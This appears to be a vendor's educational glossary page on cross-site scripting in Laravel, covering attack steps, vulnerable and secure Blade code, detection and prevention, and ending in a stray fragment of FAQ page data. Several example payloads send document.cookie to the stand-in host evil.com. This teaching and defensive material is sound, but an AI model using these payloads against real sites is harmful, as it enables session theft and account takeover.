Vulnerabilities

What Is Cross-Site Scripting (XSS)?

A vulnerability where an attacker injects malicious JavaScript into web pages viewed by other users. The injected script runs in the victim's browser with the same privileges as legitimate scripts, allowing the attacker to steal session tokens, redirect users, or modify page content.

How It Works

XSS injects executable JavaScript into a web page that other users view, running attacker code in victim browsers at the full privilege level of the legitimate site.

Step 1: Finding an injection point — The attacker looks for inputs that appear in HTML output. They search Blade templates for {!! !!} usage (unescaped output), check API responses that render in a JavaScript SPA, and look for PHP variables interpolated directly into <script> blocks. Comment sections, user profile bios, search result headings, and product descriptions are common injection points.

Step 2: Context identification — The execution context determines the payload format. In an HTML context (<div>{!! $name !!}</div>), the payload uses tags: <script>alert(1)</script> or <img src=x onerror=alert(1)>. In an attribute context (<input value="{!! $val !!}">), the payload breaks out of the attribute: " onmouseover="alert(1). In a JavaScript context (var name = '{{ $name }}';), the payload breaks out of the string literal: '; fetch('https://evil.com?c='+document.cookie)//.

Step 3: Payload delivery — For reflected XSS, the attacker crafts a URL containing the payload and sends it to the victim via phishing email or social media. When the victim clicks the link, their browser requests the page, the server reflects the payload in the response, and the browser executes it. For stored XSS, the attacker submits the payload as legitimate input (a comment, bio, or message) that is saved to the database and rendered when other users view the content.

Step 4: Script execution — The browser encounters the injected script in the HTML response and executes it at the security origin of the target site. The script now has access to everything on that origin: document.cookie (session tokens), localStorage, sessionStorage, the full DOM (including forms and their values), and the ability to make authenticated fetch requests to the server.

Step 5: Impact — Common XSS payloads exfiltrate session cookies to steal the victim's login session, replace the login form's action attribute to capture credentials as they are typed, redirect the user to a phishing page, or silently perform actions on the server using the victim's authenticated session.

Types of Cross-Site Scripting (XSS)

Reflected XSS

Malicious script is embedded in a URL parameter, reflected in the HTTP response, and executes when the victim clicks the crafted link. Does not persist in the database.

<!-- Attacker sends victim this URL: -->
https://yourapp.com/search?q=<script>document.location='https://evil.com?c='+document.cookie</script>

Stored XSS

Attacker saves a malicious script in the database (via a comment, bio, or message) and it executes in the browser of every user who views that content. Most dangerous variant.

<!-- Attacker saves this as their user bio:
<script>new Image().src="https://evil.com/steal?c="+document.cookie</script>
Every visitor to that profile page is attacked -->

DOM-Based XSS

JavaScript reads attacker-controlled data (URL hash, query parameter) and writes it to the DOM without sanitization — the server is never involved and cannot detect or prevent this variant.

// Vulnerable JavaScript — reads URL hash and writes to DOM
document.getElementById("output").innerHTML = location.hash.slice(1);
// Attacker URL: https://yourapp.com/page#<img src=x onerror=alert(1)>

XSS in JavaScript Context

A PHP variable is interpolated into a JavaScript string literal. Even Blade's `{{ }}` escaping does not protect this context because the attacker can break out of the string with a single quote.

// Vulnerable: {{ }} escapes HTML but not JS string context
<script>var search = '{{ $query }}';</script>
// Attacker submits: '; fetch('https://evil.com?c='+document.cookie)//

In Laravel Applications

Laravel's Blade templating engine escapes output by default with {{ }}, which prevents most XSS attacks. XSS vulnerabilities are introduced when developers use {!! !!} (unescaped output) with user-supplied input, or when rendering user content in JavaScript contexts.

Code Examples

Unescaped vs. Escaped Blade Output

Vulnerable

{{-- VULNERABLE: {!! !!} renders raw HTML -- any script tags execute --}}
<div class="user-bio">
    {!! $user->bio !!}
</div>

{{-- Also vulnerable: PHP variable in script context --}}
<script>
    var userName = '{{ $user->name }}';
    // Attacker submits name: ' ; fetch(evil.com?c=+document.cookie) //
</script>

Secure

{{-- SECURE: {{ }} HTML-encodes all output, making tags harmless text --}}
<div class="user-bio">
    {{ $user->bio }}
</div>

{{-- SECURE for JS context: use json_encode with HEX_TAG flag --}}
<script>
    var userName = {!! json_encode($user->name, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT) !!};
</script>

{{-- For legitimate rich text (WYSIWYG): sanitize with HTMLPurifier --}}
<div class="user-bio">
    {!! clean($user->bio) !!}  {{-- clean() from mews/purifier package --}}
</div>

Real-World Example

Using {!! $user->bio !!} in a Blade template is vulnerable to XSS if the user has entered <script>document.location="https://evil.com?c="+document.cookie</script> as their bio.

Why It Matters

XSS vulnerabilities allow attackers to run arbitrary JavaScript in your users' browsers. The consequences range from session cookie theft (complete account takeover) to form replacement (stealing credentials as users type them) to silent redirection to phishing sites. Modern XSS attacks are sophisticated and hard to detect by affected users.

Laravel's Blade templating engine escapes output by default with the {{ }} syntax, which prevents the vast majority of XSS attacks. The danger is that developers learn to reach for {!! !!} for legitimate use cases (rendering HTML from a WYSIWYG editor, for example) and then accidentally use it in unsafe contexts. A single {!! $user->bio !!} in a profile template is enough to compromise every user who views that profile.

Stored XSS — where the malicious script is saved in the database and executed when other users view the content — is the most dangerous variant. An attacker who can store XSS in a comment, profile bio, or product description can attack every user who views that content, potentially including administrators.

The Content-Security-Policy header provides a second line of defense. With a properly configured CSP that blocks inline scripts and only allows scripts from trusted sources, even a successful XSS injection may fail to execute because the browser refuses to run the injected code.

Common Misconceptions

Myth: We use Blade's {{ }} everywhere, so we are not vulnerable to XSS.

Reality: XSS vulnerabilities also exist in JavaScript contexts — if you output PHP variables into JavaScript with `var name = '{{ $name }}'`, an attacker can inject `'; alert(1) //` which `{{ }}` does not protect against.

Myth: XSS only affects the user who triggered the injection.

Reality: Stored XSS affects every user who views the page containing the injected content. A single stored XSS in a comment section affects every visitor, not just the attacker.

Myth: We sanitize input on the way in, so XSS is not possible.

Reality: Input sanitization is incomplete defense — context determines what is safe. The correct approach is output escaping at render time, in the context where the data is used (HTML, JavaScript, URL, and CSS each require different escaping).

How to Detect This

Search your codebase for unescaped output with `grep -rn "{!!" resources/views/` to find every usage of raw HTML output in Blade templates. Each one is a potential XSS vector that needs review. For JavaScript context XSS, search for PHP variables interpolated into script tags: `grep -rn "<script" resources/views/`. Run OWASP ZAP's active scan against your staging application to automatically probe for reflected XSS in form inputs and URL parameters. StackShield checks your response headers for a `Content-Security-Policy` that would mitigate XSS. In your browser developer tools, check the Console for CSP violation reports, which indicate XSS attempts that were blocked.

How to Prevent This in Laravel

  1. 1

    Run `grep -rn "{!!" resources/views/` and audit every result — replace with `{{ }}` for plain text, or add HTMLPurifier via `composer require mews/purifier` for legitimate rich text rendering.

  2. 2

    Never interpolate PHP variables directly into `<script>` blocks with `{{ }}` — use `json_encode($var, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT)` which is safe in JavaScript string contexts.

  3. 3

    Implement `Content-Security-Policy` header via middleware or `spatie/laravel-csp` — a properly configured CSP that disallows inline scripts blocks XSS execution even when injection occurs.

  4. 4

    For WYSIWYG editor output, install `composer require mews/purifier` and call `clean($html)` before rendering with `{!! !!}` — HTMLPurifier strips dangerous tags while preserving safe formatting HTML.

  5. 5

    Use OWASP ZAP baseline scan against staging on every pull request to automatically detect reflected XSS in form inputs and query parameters before merging.

Frequently Asked Questions

Does Blade's `{{ }}` protect against all XSS vulnerabilities?

Blade's `{{ }}` protects against XSS in HTML contexts by calling PHP's `htmlspecialchars()`, converting `<`, `>`, `"`, and `'` into HTML entities. However, it does NOT protect when PHP variables are interpolated into JavaScript string literals (`<script>var x = '{{ $var }}'</script>`) because the attacker can break out of the string with a single quote. Use `json_encode()` with appropriate flags for JavaScript contexts.

What about XSS in Vue.js or React components rendered by Laravel?

Vue.js `{{ }}` and React JSX variable interpolation (`{variable}`) both HTML-encode output by default, providing the same protection as Blade's `{{ }}`. The dangerous equivalents are Vue's `v-html` directive and React's `dangerouslySetInnerHTML` — both render raw HTML and must only be used with sanitized content. If you pass Blade data to a Vue or React component via a JSON-encoded prop, ensure the JSON encoding uses `JSON_HEX_TAG` to prevent script injection in the JSON itself.

How do I safely render HTML that users have submitted (WYSIWYG content)?

Install `composer require mews/purifier` (an HTMLPurifier wrapper for Laravel), configure it in `config/purifier.php` with an allowlist of safe HTML tags and attributes, and call `clean($userHtml)` before rendering with `{!! !!}`. Never disable purification and never use blocklist approaches (trying to filter dangerous tags) — HTMLPurifier's allowlist approach is the only reliable method for user-submitted HTML.

Does a Content-Security-Policy fully prevent XSS?

A strict CSP significantly reduces XSS impact by blocking script execution from untrusted sources, but it does not fully prevent all XSS. CSP bypasses exist when the policy allows `'unsafe-inline'`, has overly broad source patterns (`*.yourapp.com`), or permits dangerous origins (a CDN that serves user-controlled content). Use CSP as a defense-in-depth layer alongside output escaping and input sanitization — not as a substitute for them.

Related Terms

Related Articles

Monitor Your Laravel Application's Security

StackShield continuously checks your Laravel application from the outside, catching security issues before attackers find them.

Start Free Trial
`) because the attacker can break out of the string with a single quote. Use `json_encode()` with appropriate flags for JavaScript contexts." } }, { "@type": "Question", "name": "What about XSS in Vue.js or React components rendered by Laravel?", "acceptedAnswer": { "@type": "Answer", "text": "Vue.js `{{ }}` and React JSX variable interpolation (`{variable}`) both HTML-encode output by default, providing the same protection as Blade's `{{ }}`. The dangerous equivalents are Vue's `v-html` directive and React's `dangerouslySetInnerHTML` \u2014 both render raw HTML and must only be used with sanitized content. If you pass Blade data to a Vue or React component via a JSON-encoded prop, ensure the JSON encoding uses `JSON_HEX_TAG` to prevent script injection in the JSON itself." } }, { "@type": "Question", "name": "How do I safely render HTML that users have submitted (WYSIWYG content)?", "acceptedAnswer": { "@type": "Answer", "text": "Install `composer require mews/purifier` (an HTMLPurifier wrapper for Laravel), configure it in `config/purifier.php` with an allowlist of safe HTML tags and attributes, and call `clean($userHtml)` before rendering with `{!! !!}`. Never disable purification and never use blocklist approaches (trying to filter dangerous tags) \u2014 HTMLPurifier's allowlist approach is the only reliable method for user-submitted HTML." } }, { "@type": "Question", "name": "Does a Content-Security-Policy fully prevent XSS?", "acceptedAnswer": { "@type": "Answer", "text": "A strict CSP significantly reduces XSS impact by blocking script execution from untrusted sources, but it does not fully prevent all XSS. CSP bypasses exist when the policy allows `'unsafe-inline'`, has overly broad source patterns (`*.yourapp.com`), or permits dangerous origins (a CDN that serves user-controlled content). Use CSP as a defense-in-depth layer alongside output escaping and input sanitization \u2014 not as a substitute for them." } } ] }